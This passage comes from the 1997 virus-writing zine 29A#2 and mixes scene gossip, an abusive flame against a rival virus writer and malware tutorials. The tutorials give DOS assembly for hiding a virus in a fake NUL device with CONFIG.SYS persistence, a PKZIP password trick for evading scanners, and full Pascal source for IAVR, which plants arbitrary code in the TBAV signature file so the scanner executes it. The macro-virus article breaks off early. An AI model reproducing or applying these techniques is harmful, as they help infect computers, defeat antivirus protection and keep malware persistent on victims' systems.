ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
All of these virusez/articlez/utilitiez were all coded with just one goal
in mind: to make sure all this information will be given to "otherz" before
i leave the scene or the world at worst. I mean, dont let your own knowled-
ge be buried along with your body, spread it out before you leave this
world. If you're smart enough and really understand this, then you are al-
most ready to learn from otherz. Next is that you should be moved or pushed
to "learn" just by the simple educational purpose or the chalenge it poses
by itself. Then you'll be ready to teach your knowledge and otherz will
learn from you. Needless to say, i wouldnt like at all to know that one of
my virusez has escaped from this zine coz you didnt understand this. Please
dont be a lamer.

Now,
Enjoy!

(c) 1997 Jacky Qwerty/29A.


What is happening in IR/G?
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Rajaat / 29A

Now talking Rajaat [IR/G]...

Preface
ÄÄÄÄÄÄÄ
It has now been half a year ago when our magazine got out, and since then
you haven't heard much from us anymore... Why? I hope to cover some of the
things that happened in IR/G and what the current status is (as far as I
know, that is).

Sepultura's departure
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Shortly after the release of IR#8 Sepultura, our main organizer and back-
bone of IR/G decided to leave the scene altogether. I do miss his programm-
ing skills that I don't have. Although I don't blame him, his departure was
in my eyes the beginning of the end of IR/G as I know it. I hereby want to
thank him for all the things he has done for me and for IR/G.

No backbone
ÄÄÄÄÄÄÄÄÄÄÄ
With the departure of Sepultura we also lost our talent to organise. With-
out this backbone, we weren't able to bring out any magazine after IR#8. We
tried to find another person in our group with the ability and will to or-
ganise, yet we couldn't find/trick someone into taking that task upon him.
Without any organisation, a group cannot be in my view.

Hate to code
ÄÄÄÄÄÄÄÄÄÄÄÄ
Not being motivated very much, I found myself unable to program very much.
My time being consumed by college I had a little time to research virus-re-
lated issues. All I could do is think of nice tricks, program them and com-
ment them a bit, but I could not find the heart to make a total virus for
it. This left me with a huge pack of tricks, which I haven't used in viru-
ses yet. Eventually I hope I can find the motivation and time to put all
these tricks together in one big virus, which will probably be my last vi-
rus I will make. This is not caused by a lack of interest, and of course I
will stay in the scene trying to think of new tricks and innovate ideas.

Prologue
ÄÄÄÄÄÄÄÄ
Due to the circumstances and the overall quality of the viruses produced by
IR/G I think it suits me and them best that I leave the group and continue
the path of virus writing on myself, contributing things to various groups.
I hope that the other people in IR/G won't be mad about my decision to lea-
ve them. I wish them all the best, and hereby my promise that this is not
the last time they will hear from me.

Thanks
ÄÄÄÄÄÄ
Given the opportunity here I would like to thank quite a few people who ha-
ve supported me in the past and hopefully will stay to do so in the future.
The Unforgiven, for his many email conversations, excellent ideas on human
nature and beliefs, and, most importantly his friendship during the time. I
hope I will be able to meet you sometime. Rogue, for showing his excellent
code examples, although I've never witnessed any program of him finished in
the wild, save for one. Most probably a badass to other but a friend to me.
Mister Sandman, to whom I gave this article in order to publish it in their
second magazine (they beat us *grin*). Sepultura, for his organising skills
and trying to keep the whole lot together. I could thank a lot more people,
but I think that I must keep it short, because nobody is interested in it
save for the people who are actually thanked.

And now talking Rajaat / 29A...

Last update
ÄÄÄÄÄÄÄÄÄÄÄ
It sure looks like that when I write some article, it always seems to get
outdated when magazines don't get released as quickly as anticipated (sorry
folks, couldn't resist joking about it). But since the time I wrote the up-
per a few things happened. You probably have read now somewhere in this ma-
gazine that I've become a member of 29A! My hate to code went away but that
doesn't mean I've plenty of times to code, but I'll do my best and see what
I can have in store for you.

What the hell am I up to?


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
To be honest, I don't know. I have here about 5 unfinished programming pro-
jects I should finish soon, and I hope I will have the time at my disposal
for finishing them. Anyway, I'm proud to be a 29Aer and I hope I can keep
up the group's high standard of virus coding.

And how about Immortal Riot?


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
I wish I knew, I think the best thing my friend The Unforgiven and his com-
rades can do is split from Genesis again (in my eyes it's history) and go
on their own again, should they feel like coding again. I hope that you,
the reader, will once again witness the excellent magazines of our "hj„ltar
i sn”n" (heroes in the snow).

Rajaat / 29A
Envy makes dorks resuscitate
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Mister Sandman/29A

It has passed one year or so since IRG#8 (actually IRG#1, but many people
seem to think with their ass) was released. And happily that's the last ti-
me we had the chance to hear about a pampered child whose protagonism and
egocentrism desire reached its real highlight. You know who he is.

He retired because he "did not have enough time to keep on leading IRG", as
school sucked most of his free time. Well... for a long time we were almost
forced to swallow his childish attitude, his deic-wannabe behavior, and his
lots of attempts to suck the whole attention everytime, everywhere (haven't
you ever hated to read his stupid introductions to somebody else's articles
published in IRG#8?). And we had to read BULLSHIT like this from him:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
[...] The magazine is about 1.4 meg, of which about 99% of which is actual
articles. Unlike some 'virus' magazines we dont need 500k viewers / intros
/ music files to impress.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

A pretty modest boy, heh??? but that's not all. Besides this, we all in the
virus scene had to stand him claiming "IRG#8 is the best zine about viruses
ever released", being that a real offense to VLAD and the great work they
did during their presence in the scene. Now it is when we all realise about
why this boy i'm talking about is so "well appreciated" among most of the
mentally sane and concious-of-what-they-say virus writers.

Fortunately he retired and left the scene. IRG died. And we all lived much
better since that happened, as we had to stand no longer any motherfucking
candy eater telling us shit about how cool he was. While he was comfortably
pulling himself home, we all were happily having a good run of things in
the virus scene. In fact everything was going almost perfect.

But you know perfection does not exist.

And that's why he briefly reappeared by june/july of this year, using other
nick and apparently trying to hide his previous identity, and to dazzle the
scene with a new virus he had written. This virus was released via IRC (as
far as i know) within a ZIP file which contained, among others, a text file
called "readme.1st", which started this way:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
[...]

% Important %
_____________

I do not give permission to anyone to publish this virus in their Vx zine.


This means the fools who published the source to Zhengxi, 6 months after it
was made publicly available, and kept rambling on about they were the zine
to release the source.. they know who they are. Also, ugly children are not
permitted to read this text.

[...]
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

It's a pretty curious thing to see what may ENVY drive people to do.

Well, it is obviously about us, 29A, who published the original source code
of Zhengxi in 29A#1, in december 1996. That's why i decided to use this
section of the magazine to reply such a stupid quote. So keep on reading my
answer for the child, same as if it were an e-mail reply:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ From : Mister Sandman/29A, <mrsandman@cryogen.com> ³
³ To : The Soul Manager (previously known as *********), <***@***.***> ³
³ About: Your big mouth ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Hi fool.

> I do not give permission to anyone to publish this virus in their Vx zine

Do you think i'd ever publish anything from you in 29A? not in this life...

> This means the fools who published the source to Zhengxi, 6 months after
> it was made publicly available, and kept rambling on about they were the
> zine to release the source..

You mean the same ones who kicked your ass? ah, yeh, it's us... well, i
don't really mind a shit what you think or don't, but i'll try to make
things clear for the rest of the people who are reading this.

Zhengxi was first publically released in june 1996, but only in its binary
form. And it was only a few weeks before 29A#1 was released, in december
1996, when some fortunate VXers could get the original source code for it,
and that's what we eventually published, with the agreement of its author,
as at that time Zhengxi was so far the most asked virus in the scene.

And that's why we say we were the first zine to release the source, as it
is the only truth. No one else did it before.

Maybe this reaction is the consequence of a frustrated attempt to be you


and your group the first ones to publish it, heh?

> they know who they are.

In fact we even know who you are, despite your intention to hide yourself
under a new nick (The Soul Manager) and then talk shit about us, instead
of encouraging yourself to say what you think with your original nick.

Pathetic.

With Zhengxi or without it, you're still dead and i'm still Elvis.

Mister Sandman,
chew my success.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

I would finally like to add a brief text in latin, the language which gives
(actually gave) his nick to the dork i'm talking about, to describe what he
exactly makes me think and the way i feel every time i hear about him.

Those who can speak/translate latin will surely enjoy it a lot.

"Qvotienscvmqve tvvm cognomen avdio navseas sentio,


qvotienscvmque tvos viros lego vomire volo,
et vomiam ac mingam ac concvlcabo sepvltvra tva,
qvod ipsa sicvt cognomen tibi fvit,
atqve in ea reqviesces... cvm moriaris...
si reapse aliqvando vixisti".
Despite my initial intentions, i was about to forget about publishing this
article, so it would not stand between the friendship of one of the VXers i
admire most, now a 29A member, and the "guy" this article is all about, but
the thing went suddenly fixed, as soon as i had noticed about the fact that
the infamous "Soul Manager" had broken his... friendship?, with this friend
of mine just because he'd joined 29A. Pretty curious meaning of friendship.

It would be very easy to be ok in the VX side, among us all (not as between


AVers, because they have economy standing between their interests and them)
in the virus scene, but it seems that many people don't want it to be so.

Oh, and... he's giving out all his shit as he's now changing his nick again
so keep your eyes open and watch any dork you meet out.

Fuck drugs off and get your rage in your ass, idiot.

Mister Sandman,
bring me a dream.
Article separator
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Mister Sandman/29A

What is this article used for? answer is nothing. Its functionallity is me-
rely esthetical, as it keeps the articles separated of the executable files
of the magazine. So why am i writing anything here? well, there are still a
few thingies which haven't been told in the rest of the articles and result
kinda interesting or funny to read.

For instance, do you know that: 666 * 3 = 1998? it seems like this is gonna
be a magic year for the VX side. Will AVers die? will they be satanized? or
will they maybe get medieval in their asses? who knows :)

Other thing you should note is the fact that we have not included any virus
index in this issue. It seemed to us pretty stupid as they are described in
detail both in their corresponding source and in the "29A Labs", our websi-
te... describing them one more time would be a pain.

There are also one couple thingies pending... the password for the secret
area of our previous issue was "29akewl". We accept no complains, we didn't
have much imagination at that time and were quite hurried, so... :P

The other pending thing is the importance of the new features of our impro-
ved file browser. Now it is possible to load it with or without mouse, with
or without intro, and so on. And once loaded, when reading any article, you
will be able to choose between smooth or hard scroll. Now it is also possi-
ble to run the payload of any virus included in our zine when having loaded
its source code from within the file browser. It is still possible, btw, to
UUdecode binary files, albeit we have not implemented this feature yet. And
finally, the screen saver can be loaded now just by pressing a hot-key.

And note this is a DOS application, so we don't make responsible of the way
it may work under *your* Windows95. At least under ours it works ok.

Optional parameters to 29A#2.EXE


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
i........... Don't load intro (argh!)
m........... Enable mouse inside browser
s........... Disable smooth scroll

File browser internal commands


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
#........... Activate screensaver
b........... Activate boss screen
g........... Run payload (if available)
s........... Dis/able smooth scroll
u........... UUdecode binary (i/a)
F1.......... Further help (lame!)

Wish us some happy VX holidays and enjoy the zine!

Mister Sandman,
bring me a dream.
Playing "Hide and Seek"
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
"Q" the Misanthrope

It is a game of one-up-man-ship between the VX and the AV community. VX


seems to be winning this battle but is also forcing new improvements. VX
creates virus. AV creates scan strings. VX creates mutation. AV creates
smart detectors. VX creates stealth. AV counters that with direct access.
VX creates tunneling. AV stops that. VX creates tracing. AV stumbles. VX
creates retro. AV stumbles. VX creates Stop AV from memory scanning. AV
stumbles. VX creates macro viruses. AV goes nuts. VX creates new places to
hide from AV. AV will probably stumble again.

Hide in NUL-Space
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Wouldn't it be great to hide in a file that could not be accessed. You can.
There are little things called device drivers in your PC. COM1, COM2, LPT1
and CON are examples. NUL is also a device that serves little purpose ex-
cept do nothing. An example of this: COPY *.* NUL will read all the files
for errors and copy them into NUL-Space (nowhere). Try to create a file by
the name of NUL, what could you do with it? An experiment is necessary.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
c:\>debug
-a
mov ah,52
int 21
int 3

-g
AX=5200 BX=0026 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0C9C ES=00C9 SS=0C9C CS=0C9C IP=0104 NV UP EI PL NZ NA PO NC
0C9C:0104 CC INT 3
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

ES:BX points to the DOS list of lists. From Ralf Browns interrupt list:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Format of List of Lists:
Offset Size Description
00h DWORD pointer to first Drive Parameter Block
04h DWORD -> first System File Table
08h DWORD pointer to active CLOCK$ device's header
[...]
22h 18 BYTEs actual NUL device driver header (not a pointer!)
NUL is always the first device on DOS's linked list of
device drivers
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

ES:BX+22h is what is of interest. Back to debug.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
-d es:48l12
00C9:0040 00 00 A6 C9 04 80 C7 0D ........
00C9:0050 CD 0D 4E 55 4C 20 20 20-20 20 ..NUL
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

See the word NUL at es:bx+2Ch. Lets change it to AUTOEXEC.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
-e es:52 "AUTOEXEC"
-q
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Back to DOS.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
c:\>type c:\autoexec.bat

c:\>ren c:\autoexec.bat test.bat


Path not found

c:\>del c:\autoexec.bat
Access denied
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Notice what happened when AUTOEXEC.BAT was in NUL-Space. It could not be


read, renamed or deleted. Wouldn't this be a great way to protect our vi-
rus. Ralf Browns list showed that the actual NUL device was only 18 bytes
long. Could you just make another 18 byte NUL device by another name? The
answer is YES! Here is the device format from Ralf Brown:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Format of DOS device driver header:
Offset Size Description
00h DWORD pointer to next driver, offset=FFFFh if last driver
04h WORD device attributes (see below)
06h WORD device strategy entry point
call with ES:BX -> request header
08h WORD device interrupt entry point
0Ah 8 BYTEs blank-padded character device name

Bitfields for device attributes:


Bit(s) Description
15 set (indicates character device)
14 IOCTL supported
13 (DOS 3.0+) output until busy supported
12 reserved
11 (DOS 3.0+) OPEN/CLOSE/RemMedia calls supported
10-8 reserved
7 (DOS 5.0+) Generic IOCTL check call supported
6 (DOS 3.2+) Generic IOCTL call supported
5 reserved
4 device is special (use INT 29 "fast console output")
3 device is CLOCK$
2 device is NUL
1 device is standard output
0 device is standard input
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

From the debug experiment:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
-d es:48l12
00C9:0040 00 00 A6 C9 04 80 C7 0D ........
00C9:0050 CD 0D 4E 55 4C 20 20 20-20 20 ..NUL
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

We see that the next device in the chain is at C9A6:0000h, attributes are
8004h and that the strategy and interrupt entry points are 00C9:0DC7h and
00C9:0DCDh. The strategy and interrupt points for a NUL device just need to
point to a RETF (they really could point anywhere since they are not used).

To make our own NUL device we can do something like this:


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
[...]
mov ah,52h ;get list of lists
int 21h
cld ;get address of next device in ds:si
lds si,dword ptr es:[bx+22h]
push cs ;point to our device
pop es
mov di,offset virus_device
movsw ;copy device chain to our device
movsw ;then hook in our device
mov word ptr ds:[si-02h],cs
mov word ptr ds:[si-04h],offset virus_device
[...]
virus_device dd -1h
dw 8004h ;NUL character attributes
dw return_far ;strategy pointer
dw return_far ;interrupt pointer
db "VIRUS " ;any file name your want in NUL-Space
[...]
return_far: retf
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

When your virus starts, have your virus create a first generation virus
whose host is the standard CD 20 (terminate immediately) before it starts
infecting. Name that virus C:\FDGDIKGA.PKB (pseudo random name and exten-
sion but should be same for all infections on that PC). This name could be
derived from the drive C: serial number:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
[...]
mov ax,6900h ;get drive serial number
mov bx,0003h ;drive C:
push cs
pop ds
mov dx,offset info ;point to where serial number will be
int 21h
;create file name from the drive C: serial number
cld
mov si,offset serialnumber
mov di,offset device_name
mov cx,0004h ;loop 4 times
get_serial: lodsb ;get start of serial number
push cx
mov cl,04h ;inner loop 4 times
make_file: sub al,cl
ror al,cl ;pseudo random letter
mov bl,al
and bl,0fh
add bl,"A" ;create letter from A to P
mov byte ptr ds:[di],bl
inc di ;save it and move pointer
loop make_file
pop cx
loop get_serial
mov byte ptr ds:[file_dot],"." ;restore dot
mov byte ptr ds:[asciz_nul],00h ;restore nul
mov dx,offset file_name
;now create virus by name at DS:DX
[...]
info dw 0
serialnumber dd 0 ;drive C: serial number
db 19 dup(0) ;misc junk
file_name db "C:\"
device_name db "VIRUS000" ;pseudo virus name goes here
file_dot db ".000" ;with pseudo extension
asciz_nul db 00h,00h,00h
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Hide it with the System and Hidden attribute, maybe even Read-Only. Now
create a NUL device by the name of FDGDIKGA (same as pseudo random file na-
me). Add this line to CONFIG.SYS:

INSTALL=C:\FDGDIKGA.PKB

Now start infecting. Go memory resident (you really only need to have the
18 bytes of your NUL device resident). What will now happen is magic. When
the PC reboots there will load a program that doesn't have an executable
extension so most AV programs won't even try to scan it. If they do they
won't be able to read it or delete it because it is in NUL-Space. The AV
people will be able to add the scan string for your virus and remove all
the children created by it but they will not get the virus in NUL-Space. It
will continue to infect again and again. Maybe only have it infect on Fri-
days or on the 13th of each month so it will appear that the virus has gone
away but later it magically returns.

Hiding in NUL-Space and Windows 95


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
It works just fine with one notable exception; SCANDSKW.EXE that is automa-
tically launched by the System Agent detects that there is a device by the
same name as a file and will flag it. The solution is simple. Create ano-
ther NUL device by the name of SCANDSKW. This stops SCANDSKW from working
but doesn't flag an error.

Note: when going resident with the 18 byte NUL device, you might want to
put it in the same location as the AUX device. This device is never ever u-
sed and is just wasting space. AUX is another name for COM1. PRN could be
used but some older programs actually use it. LPT3's 18 bytes also could be
used. The way to find the AUX device is to search the device chain:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
mov ah,52h ;get list of lists
int 21h
add bx,22h ;point to NUL device
check_end: cmp word ptr es:[bx],-1 ;end of chain?
je end_chain
cmp word ptr es:[bx+0ah],"UA"
jne next_device ;Look for "AUX "
cmp word ptr es:[bx+0ch]," X"
jne next_device
[...]
;found AUX device at ES:BX change the name at ES:BX+0Ah to whatever you want
[...]
mov word ptr es:[bx+04h],8004h ;set NUL device
jmp short end_chain
next_device: les bx,dword ptr es:[bx] ;get next device in chain
jmp short check_end
end_chain:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

To see the power of NUL-Space, try this in Windows 95: md\"NUL ".
It locks the computer completely up.
Hide in Cypher Text
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
PkZip has the ability to password protect ZIP files. This can be used to
our advantage. Have the virus run this:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
PKZIP -SPASSWORD C:\VIRUS.ZIP C:\VIRUS.COM
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

And add this to the AUTOEXEC.BAT:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
@ECHO OFF
PKUNZIP -O -SPASSWORD C:\VIRUS.ZIP
C:\VIRUS.COM
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

This will allow multiple reinfections but the source will not be found
with a virus scanner because it will not be able to expand the ZIP file.

If this is over your head, save it and come back to it when you are smar-
ter. Have fun in NUL-Space.

Dear AV community,
You are in check!
It is now your move.

"Q" the Misanthrope


TBSCAN.SIG infection
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Malware

TBAV uses so called AVRs in order to add detection routines for catching
polymorphic viruses that avoid its generic decryption engine. Such an AVR
is just native code which is loaded and... executed! by TbScan, and is
stored along with the virus signatures in the signature file TBSCAN.SIG.

This signature file begins with a 128-byte-long header, in which we can


find the amount of 16-byte-long blocks (paragraphs) needed by the AVRs at
offset 70h, stored as a word (2 bytes). At offset 72h is stored the overall
size of the virus signatures, as a doubleword. That's all we need to know
about the TBSCAN.SIG header in order to trojanize or infect it.

The AVRs are located just after the above contents in the file, and this is
the place where our virus or trojan has to be inserted. Since i do not know
all the specifications of it, we can just take what is already there and
modify it so there will be enough space for the new AVR code. Each AVR has
a 16-byte-long header. The word at offset 0ch of this AVR header holds the
size of the AVR code, including its header size. Just after this header,
the AVR code (wich we'll describe later) follows. And after this code we
can find the virus name in ASCIIZ format. The virus name size (including
the ending 0) is stored in a byte at offset 0ah of the AVR header. The to-
tal size (header+code+name) is stored as well in a word at offset 0eh in
the header. Finally, the AVR code and the virus name are encrypted by a by-
tewise xor with 44h.

IAVR, the program included below, does all this stuff so you can insert any
code you want as an AVR in your TBSCAN.SIG file. You just have to call it
'IAVR filename_of_AVR_code'. If you don't specify any filename, IAVR will
keep on waiting for you to type in the AVR code. Then, after it has read
the code, IAVR will prompt for the virus name your AVR has to be associated
with. The new signature file will then be written to a new file whose name
will be TBS.SIG.

And now, before including my program IAVR, let's have a look at the format
of any AVR code. It's a quite simply relocateable code. If it returns a ca-
rry flag, it's telling TbScan that the virus was found. The AVR code has to
be ended with a retf instruction. The rest is just normal code, so you can
program as usual and insert anything you want there. This is an example of
an AVR which triggers all the files as infected:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
model tiny
.code
org 100h

start: stc
retf
end start
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

And finally, the Pascal source of my IAVR program, which is able to add any
AVR to TBSCAN.SIG, writing the resulting file as TBS.SIG. You can find the
compiled executable version of this program in the \FILES directory of this
issue of 29A.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
uses Crt;

const Name : String = 'Default_Virus';


type PWord = ^Word;

var F1,F2,F3 : File;


ML,L,i,BP1 : word;
OP,Size_ : LongInt;
Buffer : Array[0..$2000] of Byte;

begin
Size_:=0;
assign(F1,'tbscan.sig'); Reset(f1,1); { open original signature file }
assign(F2,'tbs.sig'); rewrite(f2,1); { create new signature file }
assign(F3,ParamStr(1)); reset(F3,1); { open file with code to insert }
blockread(F1,Buffer,$80); { read header of signature file }
blockwrite(F2,Buffer,$80); { and simply write it to new one }
blockread(f1,buffer,$1fff); { read first 1FFF byte of orig. }
blockread(f3,buffer[$10],$2000,L); { read upto 2000 byte of code }
L:=L+$10; { add size of header for AVR }
Buffer[$0c]:=L and $FF; { write header size into buffer }
Buffer[$0d]:=L div $100;
Write('Name :'); Readln(Name); { ask for a name for the virus }
{ thats detected by the new AVR }
For i:=1 to Ord(Name[0]) do Buffer[L+I-1]:=Ord(Name[i]);
{ write it into buffer }
Buffer[L+Ord(Name[0])]:=0; { and end it with a zero }
L:=L+Ord(Name[0])+1; { add length of name to size }
Buffer[$0a]:=Ord(name[0])+1; { store length of name }
Buffer[$0e]:=L and $FF; { and full length of AVR }
Buffer[$0f]:=L div $100;
for i:=$10 to L do Buffer[I]:=Buffer[I] XOR $44;
{ encrypt the new AVR }
blockwrite(f2,buffer,L); { and write it to new sig.-file }
ML:=L;
seek(f1,$80); { seek back to top of original }
{ AVRS }

{ now write the rest of the original signature file to the new one }
L:=$2000;
While L=$2000 do Begin
BlockRead(F1,Buffer,L,L);
BlockWrite(F2,Buffer,L);
End;

Seek(F2,$80); { begin right after header again }


Repeat
OP:=FilePos(f2); { save position we have in file }
blockread(f2,buffer,$1fff); { read a bit from file }
if Buffer[1]=$FF then begin { is it an cotrol entry ? }
{ yes, is control entry }
for i:=$10 to Buffer[$0e]+word(buffer[$0f])*256 do Buffer[I]:=Buffer[I] XOR $44;
{ decrypt it }
i:=Buffer[$0c]+word(buffer[$0d])*256;
{ ??? }
OP:=OP+Buffer[$0e]+word(buffer[$0f])*256;
{ add size of entry to position }
{ in file }
Size_ := Size_ + Buffer[$0e]+word(buffer[$0f])*256;
{ summarize all sizes }
Seek(F2,OP); { seek to position after entry }
end;
Until Eof(F2) or ( Buffer[1]<>$FF );

If Not( Eof(F2) ) then Begin { now the signatures }


BP1 := 0;
while (Buffer[BP1]<>0) do begin { repeat until end of this }
{ signature-block }
Size_ := Size_ + Buffer[BP1+8] + Buffer [BP1+7] + 10;
{ add size of entry }
BP1:=Buffer[BP1+8]+$A+BP1+Buffer[BP1+7];
{ here too }
if BP1>=$1E00 then begin { we need a new part of file to }
{ read sometimes }
Seek(F2,OP+LongInt(BP1));
OP:=OP+LongInt(Bp1);
BlockRead(F2,Buffer,$2000);
BP1:=0;
end;
end;
Size_ := Size_ + $81; { somehow 129 byte was missed }
Seek(F2,$70);
BlockRead(F2,Buffer,6); { read 6 byte from offset $70 }
Seek(F2,$70);
PWord(@Buffer[0])^:=PWord(@Buffer[0])^ + ( (ML+15) DIV 16) ;
{ add para size of new AVR code }
Buffer[2]:=Size_ and $FF; { writew new size of signatures }
Buffer[3]:=( Size_ SHR 8 ) and $FF;
Buffer[4]:=( Size_ SHR 16 ) and $FF;
Buffer[5]:=( Size_ SHR 24 ) and $FF;
BlockWrite(F2,Buffer,6); { write the 6 byte back to file }
End;
Close(F1); Close(F2); Close(F3);
end.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Malware
Macro virus trickz
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Jacky Qwerty/29A

This article is not intended to be a tutorial for macro virus writin. It


simply states some common problemz and known limitationz with actual macro
virii, then sugests solutionz and provides some code examplez for them. The
reader should be already familiar with some of the conceptz surroundin ma-
cro virii stuff. If not, i sugest to read first a "real" tutorial about the
subject and then jump back to this article.

Index
ÄÄÄÄÄ
1. Introduction
2. The "SaveAs" problem
2.1. The "SaveAs" solution
2.2. The "SaveAs" example
3. The "MultiLanguage suport" problem
3.1. The "MultiLanguage suport" solution
3.2. The "MultiLanguage suport" example
4. Final Note
5. Disclaimer

1. Introduction
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
One day while i was surfin the Web, unexpectedly found a couple of linkz
containin Word macro virii stuff. After havin programed some DOS virii and
researched about PE infection, one has to admit that the idea of a virus
writen in WordBasic or VBA... mmm... well, sounds a bit stupid >8P

(DS1, NJ: dont get mad... >8D)

Indeed, macro virii seem stupid once u write one, but at that moment i had
written none. After i downloaded and played with some of them, i actually
understood not only how stupid macro virii were, but also Microsoft pro-
gramerz. They're all clueless on what *security* means :)

2. The "SaveAs" problem


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Just when i started to write my own macro virus, my atention was caught by
an interestin mesage posted to alt.comp.virus. The topic was about that
typical nuisance with macro virii that reveals their presence: the
"SaveAs" problem. As i had thought, it was posible to overcome this, and
that mesage from an expert AVer (well ehem) had just confirmed it.

The "SaveAs" problem occurs when u try to save any infected document with
another name usin the "FileSaveAs" command. After the "SaveAs" dialog box
appears, u cant change the drive, nor the directory path, nor the format
type. Word always saves your document in the "templatez" directory, un-
ablin u to change it. This is bad for the common clueless user and bad for
the virus too, as it reveals its presence by tellin him somethin is wrong.
It also reduces its chancez to spread coz now the user cant take home his
(infected) document as long as Word doesnt let him save documentz to his
floppy disk, due to the "SaveAs" problem.

I have thought of diferent wayz to overcome this, however i'll discuss the
method i actually implemented in my WM.CAP virus.

2.1. The "SaveAs" solution


